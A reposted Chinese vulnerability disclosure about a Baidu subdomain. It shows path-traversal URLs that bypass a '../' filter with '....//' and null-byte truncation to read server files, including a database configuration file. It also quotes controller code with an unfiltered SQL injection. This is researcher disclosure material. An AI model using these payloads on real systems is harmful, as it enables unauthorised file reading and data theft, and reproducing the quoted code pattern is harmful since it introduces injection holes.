神刀安全网

漏洞标题: 百度分站任意文件下载/信息泄露/SQL注入

漏洞详情

披露状态:

2016-04-20: 细节已通知厂商并且等待厂商处理中
2016-04-20: 厂商已经确认,细节仅向厂商公开
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

简要描述:

百度分站任意文件下载/信息泄露/SQL注入

详细说明:

1 游览百度分站的时这个链接引起了我的注意http://tiyan.baidu.com/static/img.php?s=15,15&n=icon-info.png

漏洞标题:  百度分站任意文件下载/信息泄露/SQL注入

左后一个参数是一个文件,会不会存在任意文件下载呢。

依次访问一下连接均返回正常图片

http://tiyan.baidu.com/static/img.php?s=15,15&n=/icon-info.png

http://tiyan.baidu.com/static/img.php?s=15,15&n=./icon-info.png

http://tiyan.baidu.com/static/img.php?s=15,15&n=../icon-info.png

漏洞标题:  百度分站任意文件下载/信息泄露/SQL注入

当访问http://tiyan.baidu.com/static/img.php?s=15,15&n=….//icon-info.png 连接的时候图片却不正常显示了。

漏洞标题:  百度分站任意文件下载/信息泄露/SQL注入

这里说明很有可能是将../给替换了。….// 替换../还是会返回上级目录 所以文件不存在

访问路径http://tiyan.baidu.com/static/img.php?s=16,40&n=….//….//index.php%00.png 加上截断

漏洞标题:  百度分站任意文件下载/信息泄露/SQL注入

成功读取首页文件

有了首页文件就可以通过里面的结构来读取其他文件了。

http://tiyan.baidu.com/static/img.php?s=16,40&n=….//….//….//….//….//….//….//home/bae/bae/phplib/config/BaeMysqlConfigure.class.php%00.png读取数据库连接

漏洞标题:  百度分站任意文件下载/信息泄露/SQL注入

漏洞标题:  百度分站任意文件下载/信息泄露/SQL注入

多个数据库都是同一个账户信息,只可惜在内网没法连接哦

漏洞证明:

2 这个系统使用了yii框架其大概的目录结构为

http://tiyan.baidu.com/?r=site/home 这个页面对于的控制代码为http://tiyan.baidu.com/static/img.php?s=16,40&n=….//….//protected/controllers/SiteController.php%00.png

简单看了下代码发现PlazaController.php页面的option 参数没有过滤 存在SQL注入

code 区域
public function actionVoteSubmit() {
$voteId = intval($_POST['vote_id']);
$options = $_POST['option'];
if(!$options || count($options) == 0) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}

$vote = ActVote::model()->findByPk($voteId);

// 0.0 判断该用户是否参加过在投票
$hasVoted = ActVoteRecord::model()->hasVoted($this->user->id, $voteId);
if($hasVoted) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}

// 0.1 判断是否为多选并且该投票有限制多选的最多数量,如果超过,则截取前$vote->limit_num个
if($vote->type == ActVote::TYPE_MULTI && $vote->limit_num > 0) {
if(count($options) > $vote->limit_num) {
$options = array_slice($options, 0, $vote->limit_num);
}
}

// 1.1 选项选中数(selected_num) +1 & 投票的participate_num + 1
$strOptionIds = implode(',', $options);
$voteItem = new ActVoteItem();
$voteItem->updateCounters(array(
'selected_num' => 1
), "id in ({$strOptionIds})");

3 最后看下文件img.php果然是把../ 替换了,

http://tiyan.baidu.com/static/img.php?s=16,40&n=….//….//static/img.php%00.png

漏洞标题:  百度分站任意文件下载/信息泄露/SQL注入

修复方案:

修复

版权声明:转载请注明来源 李长歌@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 百度分站任意文件下载/信息泄露/SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址